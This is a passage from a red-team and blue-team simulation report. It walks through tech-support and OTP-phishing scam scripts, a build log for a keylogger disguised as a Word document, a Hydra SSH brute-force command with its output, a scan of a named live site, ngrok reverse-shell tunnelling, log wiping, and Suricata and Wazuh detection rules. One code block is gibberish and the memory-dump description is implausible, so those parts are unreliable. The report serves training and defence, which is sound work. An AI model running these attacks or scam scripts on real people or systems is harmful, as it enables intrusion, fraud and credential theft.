- **5. Gained Remote Access:**
 - User provided access code.
- Attacker logged in and simulated "system scanning."

The screenshot shows a terminal window titled "Intelijallm ucode" with the command "dumpshell" run. The output displays memory dump information, specifically the memory dump of the "/proc/kcore" file. The dump is presented in a hex dump format, showing memory addresses from 0x00000000 to 0xffffffff, with each byte represented by two hex digits. The dump includes various system structures and data, such as the kernel's memory map, device drivers, and system services.

```
1 Class
2 Enclosed: (Name: Ten Drapier Extended)
3
4 < Notizene
5   < Lests
6     Considerer $)
7       Date-Tag (DateStamp)
8       Goddess (exert pud shoulderslap)
9       Delicate ("Flatlotter Crehel")
10      Stress (-Cerlder Sledon/erctid)
11      (Sclersflement)
12      Valts Clust
13      Laich Connid-Cois
14      Vemistes
15    )
16
17      Definition: : App0350E)
18      v
19      Partnerzbor: :App02323
20
21 Constellale spricht: Zetler Dafagimo)
22 Capilam (remabb) emter010),
23   inthien, Cull(lar saltoes, Palsonand clarion)
24   NHA koh,
25   multiluctum (Sale),
26   ecties(castles waterbeetish,
27   ing adusnes si fideleverskes (Lili),
28   verlike (FF7E: The (baac,multivible,d072D4),
29   cllic 'pragatian' his(fonart telsset),
30   casteseror wokenkrest, (lbev,
31   smazected Regentur (starfomg toek);
```

6. Exfiltration or Installation:

- o Installed keylogger silently.
- o Extracted sensitive documents.



```

4263 INFO: Processing standard module hook 'hook-pickle.py' from 'C:\\\\Users\\\\moham\\\\AppData\\\\Local\\\\Programs\\\\Python\\\\Python312\\\\Lib\\\\site-packages\\\\PyInstaller\\\\hooks'
7151 INFO: Caching module dependency graph...
7253 INFO: Looking for Python shared library...
7256 INFO: Using Python shared library: C:\\Users\\\\moham\\\\AppData\\\\Local\\\\Programs\\\\Python\\\\Python312\\\\python312.dll
7257 INFO: Analyzing C:\\Users\\\\moham\\\\OneDrive\\\\Desktop\\\\marlowe-malwares-master\\\\KeyLogger\\\\01_Python-nc-listener\\\\keylogger.py
7304 INFO: Processing module hooks (post-graph stage)...
7307 INFO: Performing binary vs. data reclassification (2 entries)
7338 INFO: Looking for ctypes DLLs
7341 INFO: Analyzing run-time hooks ...
7343 INFO: Including run-time hook 'pyi_rth_inspect.py' from 'C:\\\\Users\\\\moham\\\\AppData\\\\Local\\\\Programs\\\\Python\\\\Python312\\\\Lib\\\\site-packages\\\\PyInstaller\\\\hooks\\\\rthooks'
7389 INFO: Looking for dynamic libraries
7490 INFO: Extra DLL search directories (AddDllDirectory): []
7490 INFO: Extra DLL search directories (PATH): []
7630 INFO: Warnings written to C:\\Users\\\\moham\\\\OneDrive\\\\Desktop\\\\marlowe-malwares-master\\\\KeyLogger\\\\01_Python-nc-listener\\\\build\\\\keyLogger\\\\warn-keylogger.txt
7645 INFO: Graph cross-reference written to C:\\Users\\\\moham\\\\OneDrive\\\\Desktop\\\\marlowe-malwares-master\\\\KeyLogger\\\\01_Python-nc-listener\\\\build\\\\keylogger\\\\xref-keylogger.html
7696 INFO: checking PYZ
7697 INFO: Building PYZ because PYZ-00.toc is non existent
7697 INFO: Building PYZ (ZlibArchive) C:\\Users\\\\moham\\\\OneDrive\\\\Desktop\\\\marlowe-malwares-master\\\\KeyLogger\\\\01_Python-nc-listener\\\\build\\\\keylogger\\\\PYZ-00.pyz
7938 INFO: Building PYZ (ZlibArchive) C:\\Users\\\\moham\\\\OneDrive\\\\Desktop\\\\marlowe-malwares-master\\\\KeyLogger\\\\01_Python-nc-listener\\\\build\\\\keylogger\\\\PYZ-00.pyz completed successfully.
7954 INFO: checking PKG
7954 INFO: Building PKG because PKG-00.toc is non existent
7955 INFO: Building PKG (CArchive) word_document.pkg

```

Psychological Manipulation Techniques

- **Urgency:** "Your data is at risk. We need to act now."
- **Authority:** Mimicking Microsoft or ISP staff builds trust.
- **Tech Jargon:** Using terms like “registry issue” or “network driver crash” to appear knowledgeable.
- **Remote Actions:** Fake scans and logs to “prove” infection.

These psychological tricks are often enough to bypass user skepticism, even in organizations with moderate awareness training.

Detection & Forensics

Detection Method	Description
Unusual Software Behavior	Alert when remote access apps like AnyDesk are installed
Network Monitoring	Flag unexpected outbound connections from internal hosts

Detection Method	Description
Session Recording	Use EDR or DLP tools to record and audit remote sessions
User Reporting	Empower users to escalate suspicious support calls or popups

Precautions and Hardening

Action	Effectiveness
Disable remote access apps	Prevent unsanctioned RDP/VNC/AnyDesk use
Educate on scam patterns	Users should be skeptical of unsolicited popups or emails
Block unknown VoIP numbers	Restrict inbound spoofed support calls
Regular phishing simulations	Train users to detect realistic social engineering tactics
Alert when remote software launches	Use SIEM tools to detect anomalous behaviors

Best Practices

- **Never trust pop-up security warnings**—especially ones asking you to call a number.
- **Verify all support interactions** with your official IT team or service provider.
 - Keep a **list of authorized support tools**, and block others via group policy.
 - Perform **incident response drills** involving tech support scams.

Social Engineering Summary & Real-World Relevance

[Optional Screenshot Placeholders: Fake SMS OTP prompt, Spoofed call logs, victim's compromised account]

Expanding the Threat Landscape – Modern Social Engineering Tactics

While traditional phishing and fake support scams are widely recognized, attackers have evolved. Today's threat actors utilize **multi-layered psychological tactics**, often combining **voice, SMS, apps, and social media engineering** to achieve their goals. Two commonly observed techniques include:



1. Fake Phone Calls (Voice Phishing or Vishing)

In these attacks, the attacker pretends to be from a **bank, ISP, or trusted brand** and uses urgency to manipulate the target:

- **Scenario:**

"Hello, this is Ankit from XYZ Bank. We've detected suspicious activity on your card. Please confirm your details so we can block it."

- **Tools Used:**

- VoIP caller ID spoofers
- Public data from social media for personalizing calls
- Scripts to simulate real support conversations

- **Result:**

- Targets unknowingly hand over passwords, account numbers, or OTPs.
-



2. OTP Bypass & Fake Verification Requests (Smishing)

In this technique, victims receive **fake SMS messages or calls** claiming they need to **verify their identity or unblock their account**.

- **Scenario:**

"Dear customer, your PayTM account has been restricted. Please verify your OTP to reactivate."

- **Execution Steps:**

1. Attacker triggers OTP by initiating login with victim's phone number.
2. Immediately calls the victim posing as official support.
3. Requests OTP, pretending it is needed for account verification.
4. Logs into victim's account successfully.

- **Damage:**
 - Account hijacking
 - Access to financial information
 - Identity theft
-

Detection & Response Strategy

Detection

Monitor unusual OTP requests or SMS origins

Record and verify all voice interactions

Use behavioral anomaly detection

Incident reporting channels for users

Response

Telecom filters, fraud analysis

Use call logging and audit trails

Flag unusual access locations/devices

Enable fast reporting of suspicious calls or texts

Prevention Techniques for Organizations

Method

Employee awareness sessions on voice/SMS scams

Enforce strict 2FA policies (not OTP-only)

Use authenticator apps instead of SMS OTP

Caller ID validation & spam call blocking systems

Don't reveal any credentials on calls/SMS

Impact

 High

 Medium

 High

 High

 Critical user rule

Real-World Implications

Social engineering is **not just about software exploits**—it's about exploiting **human trust, fear, and urgency**. Even well-trained individuals can be tricked through **deepfake voice calls, spoofed interfaces, and manipulated urgency**.

The tools we demonstrated (Zphisher, SET Toolkit, Maltego, spoofers, fake support scenarios, SMS social engineering) show how **devastating a non-technical attack can be** when aimed at an unaware user.

Key Takeaways

- Social engineering attacks **require little to no technical skill** but can result in **full compromise of credentials, financial data, and systems**.
 - Training, awareness, and **zero-trust communication policies** must be embedded in organizational culture.
 - Simulated attacks using tools like **Zphisher and SET Toolkit** are excellent for **training Red Team vs. Blue Team scenarios**.
-

Pro Recommendations

1. **Simulate social engineering attacks quarterly** across departments.
2. **Whitelist official communication channels** and educate users on what is legitimate.
3. Use phishing-resistant 2FA like security keys instead of SMS or calls.
4. **Regularly audit account recovery mechanisms** to prevent OTP-based takeovers.
5. **Deploy AI-based fraud detection** to recognize patterns in call/SMS fraud attempts.

Introduction to Red Team Operations & Mapping to MITRE ATT&CK Framework

Introduction to Red Team Operations

Red Team operations simulate real-world threat actors to test the security readiness of systems, networks, and people. Unlike penetration testing, Red Teaming is not about finding all vulnerabilities—it's about mimicking adversary behaviors, testing detection and response capabilities, and bypassing layered defenses covertly.

In this simulation, we performed Red Team operations across multiple layers—web applications, operating systems, Android devices, and internal networks. The purpose was not only to find flaws but also to **emulate threat actors** with known tactics, techniques, and procedures (TTPs).

To ensure a structured representation of these adversarial actions, we mapped them using the **MITRE ATT&CK Framework**. This globally recognized matrix categorizes real-world attack methods based on threat actor behavior, allowing defenders to understand how attacks unfold and how to detect or prevent them.

◆ MITRE ATT&CK Mapping: Why and How?

The MITRE ATT&CK Framework is a knowledge base of adversary tactics and techniques based on real-world observations. Each technique is associated with specific phases of an attack lifecycle—from initial access to exfiltration.

Mapping the simulations we performed (e.g., SQL injection, remote code execution, phishing, password cracking, DDoS, MITM, etc.) to ATT&CK enables:

- A clear understanding of **which part of the attack lifecycle** the simulation aligns with.
 - Better documentation of **TTPs (Tactics, Techniques, and Procedures)**.
 - Easier communication between Red and Blue teams.
 - Strategic preparation and **defense hardening** for each specific attack technique.
-

◆ Tactics & Techniques from Simulation (Mapped to ATT&CK)


Tactic	Technique	Tool / Method Used
Initial Access	Phishing (T1566)	Zphisher, SET Toolkit
Execution	Command and Scripting Interpreter (T1059)	Metasploit, Terminal Commands
Persistence	Valid Accounts (T1078)	RDP Brute Force, Credential Dumping
Privilege Escalation	Exploitation for Privilege Escalation (T1068)	EternalBlue, Hiren's Boot CD

Tactic	Technique	Tool / Method Used
Defense Evasion	Obfuscated Files/Scripts (T1027)	APK Easy Tool, Obfuscated APKs
Credential Access	OS Credential Dumping (T1003)	John the Ripper, SAM Extraction
Discovery	Network Scanning (T1046)	Nmap, WhatWeb
Lateral Movement	Remote Services: RDP (T1021.001)	Hydra, RDP brute force
Collection	Screen Capture, Keylogging	Metasploit, Session Hijacking
Command & Control	Application Layer Protocol (T1071)	Ngrok, Portmap.io, msfconsole
Exfiltration	Data Staged for Exfiltration	Database dump via SQLMap

(Leave space for a diagram illustrating the MITRE matrix with highlighted techniques used in this simulation)

Summary

By mapping all our attack simulations to the MITRE ATT&CK framework, we showcased how our operations reflect **real-world adversary tactics**. This alignment not only validates the authenticity of our Red Team activities but also allows for structured remediation and **defensive alignment by Blue Teams**.



📌 [figure: MITRE ATT&CK matrix image showing mapped techniques used during simulation]

Tools, Techniques, and Procedures (TTPs)

Red Team operations mimic the tactics and mindset of real-world adversaries. In this simulation, the goal was to evaluate the readiness of the defensive infrastructure by launching stealthy, multi-layered attacks using a chain of effective tools and techniques. Each phase of the cyber kill chain—from reconnaissance to exploitation, persistence, privilege escalation, lateral movement, and data exfiltration—was conducted using a blend of open-source tools and custom-developed payloads.



Tools Used During the Red Team Simulation

Here is a breakdown of tools employed across various attack stages:

- **Reconnaissance & Intelligence Gathering:**
 - **Maltego** – for open-source intelligence (OSINT) gathering and relationship mapping.
 - **Google Dorking** – to identify indexed vulnerabilities on target domains.
 - **WhatWeb & Nmap** – for network fingerprinting and service enumeration.
- **Exploitation & Payload Delivery:**
 - **Metasploit Framework** – to craft and deliver exploits such as EternalBlue for Windows 7.
 - **MSFvenom** – to create custom reverse shell payloads for Android APKs.
 - **Social Engineering Toolkit (SET)** – for crafting fake login pages and phishing vectors.
 - **Zphisher** – for simulating phishing campaigns.
 - **Slowloris & Hping3** – for denial of service simulations.
- **Credential Access & Post-Exploitation:**
 - **John the Ripper** – to crack NTLM hashes from SAM file dumps.
 - **Hydra** – to brute-force RDP logins over internal and external hosts.
- **Bettercap & Wireshark** – for packet sniffing, session hijacking, and MITM attacks.
- **Persistence & Lateral Movement:**
 - **Scheduled Tasks & Registry Edits** – used to maintain persistent access.
 - **Netcat & PsExec** – for remote shell execution and lateral movement within networked machines.



Red Team Tactics and Techniques (MITRE ATT&CK Mapping)

Each tool and tactic used was mapped to the MITRE ATT&CK framework to ensure professional-grade realism. Here's a summary of critical TTPs followed:

Tactic	Technique	Example Tool
Initial Access	Phishing (T1566.001)	Zphisher, SET
Execution	Command and Scripting (T1059)	Msfconsole, Netcat
Persistence	Scheduled Task (T1053)	Windows Task Scheduler
Privilege Escalation	Exploitation for Privilege Escalation (T1068)	Hiren's Boot CD, Manual UAC bypass
Credential Access	OS Credential Dumping (T1003)	SAM Dump, John
Discovery	Network Scanning (T1046)	Nmap, WhatWeb
Lateral Movement	Remote Services (T1021)	PsExec, SMB Exploits
Command and Control	Application Layer Protocol (T1071)	Ngrok, Portmap.io
Exfiltration	Data over C2 Channel (T1041)	Msfconsole reverse shells

✿ Example: Attack Flow Mapping

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation
10 techniques	8 techniques	10 techniques	14 techniques	20 techniques	14 techniques
Active Scanning (0/3)	Acquire Access	Content Injection	Cloud Administration Command	Account Manipulation (0/7)	Abuse Elevation Control Mechanism (0/6)
Gather Victim Host Information (0/4)	Acquire Infrastructure (0/8)	Drive-by Compromise	Command and Scripting Interpreter (0/11)	BITS Jobs	Access Token Manipulation (0/5)
Gather Victim Identity Information (0/3)	Compromise Accounts (0/3)	Exploit Public-Facing Application	Container Administration Command	Boot or Logon Autostart Execution (0/14)	Account Manipulation (0/7)
Gather Victim Network Information (0/6)	Compromise Infrastructure (0/8)	External Remote Services	Deploy Container	Boot or Logon Initialization Scripts (0/5)	Boot or Logon Autostart Execution (0/14)
Gather Victim Org Information (0/4)	Develop Capabilities (0/4)	Hardware Additions	Exploitation for Client Execution	Browser Extensions	Boot or Logon Initialization Scripts (0/5)
Phishing for Information (0/4)	Establish Accounts (0/3)	Phishing (0/4)	Inter-Process Communication (0/3)	Compromise Host Software Binary	Account Manipulation (0/7)
Search Closed Sources (0/2)	Obtain Capabilities (0/7)	Replication Through Removable Media	Native API	Create Account (0/3)	Abuse Elevation Control Mechanism (0/6)
Search Open					

This mapping allows defenders to visualize where attackers penetrate the infrastructure and identify weak spots. It also helps Red Teamers to think like APT actors and simulate threats that a nation-state or cybercrime syndicate would launch.

🎯 TTP Documentation & Purpose

Red Team documentation included:

- **Attack Objectives** – Compromise admin panel, extract sensitive data, test alert thresholds.
 - **Engagement Rules** – Operate under stealth; avoid damage to real assets.
 - **Tools Justification** – Selected based on realism, effectiveness, and stealth capabilities.
- **Timeline of Events** – Documented timestamps, success/failure logs, and response delay.

This structured approach ensured that every action had measurable impact and tied back to a real-world adversary model, making the simulation meaningful and applicable to critical infrastructure defense.

Real-World Adversary Emulation and Attack Chains

In the final stage of the Red Team operation, we transitioned from individual simulated attacks to building **complete adversary emulation scenarios**, mimicking the behaviors of advanced persistent threats (APTs). The objective was to mirror real-world campaigns carried out by state-sponsored groups, cybercriminal syndicates, or hacktivists—testing not just technical defenses, but organizational resilience as well.

🕸️ Complete Attack Chain Simulation

The Red Team executed full-spectrum intrusion attempts across multiple vectors using a structured kill chain. Below is a summary of the **multi-stage adversarial attack chain** carried out:

1. Reconnaissance:

- Passive scanning of target infrastructure using **Google Dorking** and **WhatWeb** to collect OSINT data.
- Active scanning with **Nmap** to identify open ports, services, and vulnerable hosts.

```
(root@windows)-[~/home/hackstar]
# whatweb https://indiashop.vercel.app/ -v -a 1
WhatWeb report for: https://indiashop.vercel.app/
Status : 200 OK
Title  : Indiashop | Ecommerce Website
IP     : 64.29.17.1
Country : UNITED STATES, US

Summary : HTML5, HTTPServer[Vercel], Script, Strict-Transport-Security[max-age=63072000; includeSubDomains; preload], UncommonHeaders[access-control-allow-origin,x-vercel-cache,x-vercel-id]

Detected Plugins:
[ HTML5 ]
    HTML version 5, detected by the doctype declaration

[ HTTPServer ]
    HTTP server header string. This plugin also attempts to
    identify the operating system from the server header.

    String      : Vercel (from server string)

[ Script ]
    This plugin detects instances of script HTML elements and
    returns the script language/type.

[ Strict-Transport-Security ]
    Strict Transport Security is an HTTPS header that enforces
```


2. Initial Access:

- Conducted phishing campaigns using **Zphisher** and **SET Toolkit**, targeting admin users with fake login portals.

- Delivery of Android APK reverse shell payload disguised as a fake app update via **MSFvenom** and **Portmap.io**.

3. Exploitation:

- Remote Code Execution on Windows 7 via **EternalBlue (SMB vulnerability)**.
- Manual password bypass using **Hiren's Boot CD** on Windows 10/11 systems.



4. Persistence & Privilege Escalation:

- Use of **registry keys** and **scheduled tasks** to retain access across reboots.
- Privilege escalation using **manual techniques**, exploiting misconfigured UAC and system services.

5. Credential Access & Lateral Movement:

- Dumping of **SAM files**, hash extraction and cracking with **John the Ripper**.
 - **Hydra** used for brute-force login attempts on RDP and FTP.

```

File Actions Edit View Help

└──(ankit㉿kali)-[~]
└─$ hydra ssh://192.168.0.104:22222 -L /home/ankit/temp/word.txt -P /
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do no
for illegal purposes (this is non-binding, these *** ignore laws and

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-0
[DATA] max 2 tasks per 1 server, overall 2 tasks, 729 login tries (l:
[DATA] attacking ssh://192.168.0.104:22222/
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "admin" - 1 of
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "admin" - 2 of
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devilscry" - 3
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devilscreators
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devilscheer" -
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devilsblood666
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devilsass" - 7
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devils4eva" -
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "RickSanchez" -
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "P7Curtains" -
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carrie-anne" -
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carrickshock"
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carrick23" - 1
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carrick2" - 14
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carrice" - 15
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carrianne" - 1
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carri1217" - 1
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carretero" - 1

```

- Movement across systems using **Netcat shells** and **SMB shares**.

6. Command & Control:

- Establishment of encrypted reverse shells using **Ngrok** and **OpenVPN** tunnels.

```

ngrok

☒ Route traffic by anything: https://ngrok.com/r/iep

Session Status          online
Account                 trend7setter@gmail.com (Plan: Free)
Version                3.22.0
Region                 India (in)
Web Interface          http://127.0.0.1:4040
Forwarding             tcp://0.tcp.in.ngrok.io:19957 -> localhost:8080

Connections            ttl     opn     rt1     rt5     p50     p90
                        0       0      0.00    0.00    0.00    0.00

```

- Persistence of sessions and real-time data control from command center.

7. Exfiltration & Cleanup:

- Extraction of sensitive files (user credentials, database exports, local configs).
 - Secure deletion of logs and payloads to evade detection.

Adversary Emulation Profile

The operation was modeled on groups like **APT28 (Fancy Bear)** and **APT32 (OceanLotus)**, who are known for:

- Using custom payloads
- Phishing-first tactics
- Exploiting known CVEs (e.g., EternalBlue)
- Stealthy persistence and data exfiltration

By emulating these groups, the Red Team validated how vulnerable a realistic environment can be to actual cyber warfare operations.

Detection Insights and Recommendations

This simulation exposed multiple **detection blind spots** in:

- Firewall rule configurations (e.g., open RDP/SMB ports)
- Lack of host-based intrusion detection systems (HIDS)
 - No phishing awareness among users
- Absence of centralized logging or SIEM integration

Recommendations:

- Implement endpoint detection and response (EDR) solutions.
 - Apply least privilege policies and strict access control.
 - Automate log analysis with ELK Stack or Graylog.
 - Regular phishing simulation training for all staff.

Outcome and Impact

- Successfully compromised multiple systems
- Extracted admin credentials and sensitive data

- ✓ Demonstrated poor patch management (EternalBlue still exploitable)
- ✓ Highlighted the critical need for proactive Red Team exercises

Introduction to Blue Team Role and Infrastructure Setup

Introduction


In the ever-evolving threat landscape, Blue Teams play a pivotal role in detecting, analyzing, and responding to cyber threats. As the defensive arm in cybersecurity operations, the Blue Team ensures that the organization's infrastructure remains secure, breaches are contained, and forensic analysis is performed when necessary. Within this simulation, the Blue Team environment was configured with open-source yet enterprise-grade security tools including **Suricata**, **Wazuh**, and **Kibana**, which together formed a comprehensive monitoring and threat detection stack.

Overview of Blue Team Responsibilities

The core objectives of the Blue Team in this simulation were:

- Monitor all incoming and outgoing traffic.
- Detect anomalies and generate alerts for possible threats.
 - Correlate logs and investigate events in real-time.
- Respond to incidents with tailored mitigation strategies.
- Create custom rules for previously unseen threat patterns.

To carry out these objectives, the system was set up with a distributed monitoring architecture. Suricata was deployed for deep packet inspection (DPI) and intrusion detection/prevention (IDS/IPS), while Wazuh acted as the host-based intrusion detection system (HIDS). Kibana, working alongside the ELK Stack (Elasticsearch, Logstash, and Kibana), was used for visualizing, analyzing, and correlating the logs in real time.



System Architecture Overview

The monitoring stack was configured on a centralized SIEM server. Multiple endpoints and virtual machines were configured with Wazuh agents, while network traffic was mirrored to Suricata via SPAN ports on the router or using tcpdump logs on testbeds. The endpoints monitored included:

- Windows 7, 10, 11 test machines.
- Kali Linux attacker machines.
- A WordPress website hosted at 192.168.1.1.

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Threat Simulation Awareness

From Red Team simulations (SQL injection, privilege escalation, DDoS, Android payload execution, Windows password bypassing, etc.), alerts were generated and validated by Blue Team tools. Every attack vector left a footprint — in the form of a log, anomaly, or behavior — that our Blue Team utilized to trace and understand the kill chain using MITRE mappings.

Suricata-Based Network Intrusion Detection and Traffic Analysis

Deploying Suricata in the Simulation

Suricata, an open-source intrusion detection and prevention system (IDS/IPS), was at the core of our network-level threat detection. It was installed and configured on a Debian-based virtual machine, operating as a network sensor in promiscuous mode. This placement allowed it to capture mirrored traffic from the test network, including all interactions with test websites like 192.168.1.1, vulnerable platforms such as <http://bdpackaging.com.bd>, and Android device payload traffic tunneled through ngrok and portmap.io.

The configuration file (/etc/suricata/suricata.yaml) was customized to include rule sets relevant to web attacks (SQLi, XSS), brute force attempts, and SMB exploitation (EternalBlue). Rule sets were sourced from Emerging Threats (ET Open) and customized to trigger alerts based on traffic signatures generated by the Red Team's offensive tools like SQLMap, Hydra, msfvenom, and Hping3.

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Figure: Suricata real-time alert logs showing SQLi or DDoS detection

Traffic Inspection and Alerting

During simulations, Suricata's deep packet inspection (DPI) engine analyzed:

- HTTP headers and request methods
 - DNS queries and responses

- TCP/UDP packet payloads
- TLS certificates and sessions
 - SMB and FTP traffic

The following are notable detections from Red Team simulations:

- SQLMap scans triggered Suricata's HTTP SQLi rules, highlighting abnormal payloads with ' OR 1=1 patterns.
- Hping3-based SYN flood attempts triggered DoS alerts with rule ET DOS Possible Hping Attack.
- EternalBlue traffic attempts over SMB were flagged by the ET EXPLOIT rule family.

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Using Suricata Logs for Forensic Investigation

Suricata logs were exported in eve.json format and ingested by the ELK stack for visualization. This allowed the Blue Team to:

- Map attack timelines using event timestamps
- Correlate attacker IPs across multiple attempts
- Reconstruct suspicious sessions and payloads
- Generate alert heatmaps to visualize peak attack times

Each detection event was categorized with severity levels, timestamp, protocol, and signature ID (SID), making it easier to build response workflows.



figure: JSON-formatted Suricata alert in Kibana

Custom Rules and Rule Tuning

Beyond the default rules, custom Suricata rules were written for detection of test-site-specific attack patterns, such as:

yaml

CopyEdit

```
alert http any any -> any any (msg:"Possible WP-Login Brute Force"; content:"POST /wp-login.php"; threshold:type threshold, track by_src, count 5, seconds 10; sid:100001;)
```

This rule monitored multiple failed POST requests to the WordPress login page (wp-login.php) within a short time window — a common brute force indicator.

How to Detect These Attacks and Respond

Detection Techniques:

- Regularly update Suricata rule sets from trusted sources (ET Open, Proofpoint).
 - Use custom rule tuning based on known attack paths and site behaviors.
 - Correlate packet payloads with log alerts for validation.

Prevention & Mitigation Steps:

- Implement network segmentation and rate-limiting.
- Block IPs flagged by Suricata for repeated suspicious behavior.
- Automate alert-to-response using integrations with firewalls or SIEM workflows.

Wazuh for Host-Based Intrusion Detection and Threat Correlation

Why Wazuh?

Wazuh is an open-source security platform capable of log analysis, file integrity monitoring, rootkit detection, and incident response. It plays a crucial role in a Blue Team's arsenal by enabling proactive endpoint monitoring and real-time alerting. For this simulation, Wazuh was deployed on both Linux and Windows-based endpoints, including:

- **Windows 7, 10, and 11** machines where Red Team conducted password bypass using **Hiren's Boot CD** and **SAM file extraction**

- **Linux VMs** where privilege escalation was performed via unauthorized file edits and manual /etc/shadow dumps
- **APK-based Android hacking sessions** (reverse TCP shell) where Wazuh flagged unusual msfvenom payload connections tunneled through **OpenVPN** and **ngrok**



💡 *Figure: Wazuh dashboard showing high-severity event triggered by samdump2 execution or registry access*

How Wazuh Detected Red Team Attacks

Windows Password Bypass Detection

Wazuh monitored Windows Security logs and Sysmon events. When Hiren's Boot CD was used to reset passwords, Wazuh flagged:

- Unauthorized registry access (HKLM\SAM)
- Unexpected service startup from boot-time manipulation
- User login attempts bypassing normal authentication flow

These were categorized with custom rules for Authentication Bypass and Credential Access, raising high-severity alerts.

Privilege Escalation on Linux

In Linux systems where files were manually altered (e.g., using nano or vim to manipulate system configs or escalate privileges), Wazuh detected:

- auditd logs indicating modification of /etc/passwd, /etc/shadow, and sudoers file
- Command-line activity involving tools like chmod, sudo, or python -c 'import pty'

File integrity checks (FIM) detected hash changes in critical system files within seconds of modification.




figure: Wazuh alert showing /etc/passwd hash mismatch or privilege escalation log

Android Shell Session Detection

The Blue Team installed Wazuh agents in test environments to analyze traffic between **Android targets** and **msfconsole** via **reverse TCP shells**. Detected indicators:

- OpenVPN/Ngrok tunnel activity from uncommon ports

- Shell commands like ls, cd, cat, and pull during shell sessions
- Unauthorized file reads, including GPS data and WhatsApp storage folders

All these were logged and displayed as part of a threat chain.




Detection Techniques & Incident Handling

✓ Detection Techniques

- Enabled Wazuh's security ruleset for MITRE ATT&CK mapping
 - Leveraged sysmon for Windows and auditd for Linux
- Integrated Wazuh with Kibana for real-time visualization of attack vectors

⚠ Incident Handling Steps

1. Automatic alerting on suspicious system file changes
2. Analyst-reviewed evidence and correlated it with attack timelines
3. Isolated compromised machines from the virtual test network
4. Conducted root-cause analysis to prevent recurrence



⌚ figure: Wazuh alert timeline dashboard from Kibana

🔧 Custom Rules Example

Custom rules were created for Red Team TTPs such as unauthorized shadow file access:

```
xml  
Copy Edit  
  
<rule id="100101" level="12">  
  
<decoded_as>audit</decoded_as>  
  
<description>Unauthorized access to /etc/shadow</description>  
  
<match>/etc/shadow</match>  
  
<status>access</status>  
  
<group>syscheck, integrity_changed, privilege_escalation</group>  
  
</rule>
```

This ensured critical changes weren't just logged but flagged and escalated in real time.

Log Correlation and Visual Threat Analysis using Kibana

Why Kibana?

Kibana is the visual interface of the **ELK Stack (Elasticsearch, Logstash, Kibana)**, and when integrated with Wazuh and Suricata, it becomes a powerful dashboard for real-time log correlation, alert monitoring, and forensic investigation. In this simulation infrastructure, Kibana served as the central cockpit for the Blue Team, enabling them to detect, track, and respond to Red Team operations across different platforms.

Centralized Monitoring with Elasticsearch

All logs—from Red Team's exploits, system changes, and suspicious traffic—were sent to **Elasticsearch**, allowing Kibana to:

- **Index events** from Windows, Linux, Android, and network interfaces
- **Map attack paths** by timeline (e.g., Windows password bypass → credential access → RDP brute force)

- Provide **geolocation tracking** for Android hacking via IP correlation (ngrok tunnels)

This made it possible to visualize and correlate everything—from phishing emails to SMB exploitation—on a single pane of glass.

Key Dashboards Created in Kibana

1. Red Team Threat Timeline Dashboard

- Logs of events based on timestamps
- Suricata IDS alerts (e.g., Slowloris, hping3 DoS)
- Wazuh host intrusion alerts (SAM file access, Android shell connections)




figure: Timeline view with filter for DoS + SMB Exploit chain

2. Authentication & Credential Access Panel


- Failed logins via Hydra brute-force attempts
- Registry access logs (Hiren's Boot CD use)

- Logon type 3 and 10 from unauthorized locations

3. MITRE ATT&CK Matrix Overlay

- Wazuh integration allowed live tagging of events to ATT&CK tactics

- Example: Credential Dumping → Account Manipulation → Defense Evasion



4. Suspicious Android Sessions

- Unusual traffic from mobile ports
- Reverse shell command patterns
- Device activity logs matched to OpenVPN + Ngrok logs

Correlation with Real Attacks

Every major Red Team simulation had visual, timestamped evidence within Kibana:

Attack Type	Source	Log Evidence in Kibana
Slowloris + hping3 DoS	Linux	Suricata alerts + Network saturation patterns
EternalBlue Exploit	Windows 7	Wazuh SMB probe logs + privilege escalation chains
APK Shell to Android	Windows APK tools	OpenVPN/Ngrok tunnel logs + Msfvenom command traces
SQL Injection/Bypass	Web Server	HTTP POSTs from sqlmap + WAF bypass alerts
Password Reset via Hiren	Local	Registry and SAM access logs (flagged as anomalies)

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Advanced Detection Using Custom Visual Rules

Kibana was extended with custom filters and dashboards:

- **GeoIP maps:** Mapped outbound traffic from devices to tunnel endpoints (Ngrok/Portmap.io)
- **Brute Force Detection:** Used count filter to detect 5+ login failures in 30 seconds

- **File Integrity Timeline:** Real-time hash change logs for /etc/shadow, SAM, registry
-



Incident Response with Kibana

Whenever a high-severity event was visualized:

1. Alert was automatically raised via Wazuh to Slack/email
2. Analyst filtered logs by user, machine, and tool (e.g., hydra, metasploit, john)
3. Kibana provided full packet traces or log chains for documentation and response
4. Timeline reports were exported and linked to **Section 5.6 (Attack Outcome)**

File Integrity with Kibance

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3	0	0	2023-09-01 10:00:00	john	ProcessC	Start	HostC	192.168.1.102
4	0	0	2023-09-01 10:00:00	john	ProcessD	Start	HostD	192.168.1.103
5	0	0	2023-09-01 10:00:00	john	ProcessE	Start	HostE	192.168.1.104
6	0	0	2023-09-01 10:00:00	john	ProcessF	Start	HostF	192.168.1.105
7	0	0	2023-09-01 10:00:00	john	ProcessG	Start	HostG	192.168.1.106
8	0	0	2023-09-01 10:00:00	john	ProcessH	Start	HostH	192.168.1.107
9	0	0	2023-09-01 10:00:00	john	ProcessI	Start	HostI	192.168.1.108
10	0	0	2023-09-01 10:00:00	john	ProcessJ	Start	HostJ	192.168.1.109
11	0	0	2023-09-01 10:00:00	john	ProcessK	Start	HostK	192.168.1.110
12	0	0	2023-09-01 10:00:00	john	ProcessL	Start	HostL	192.168.1.111
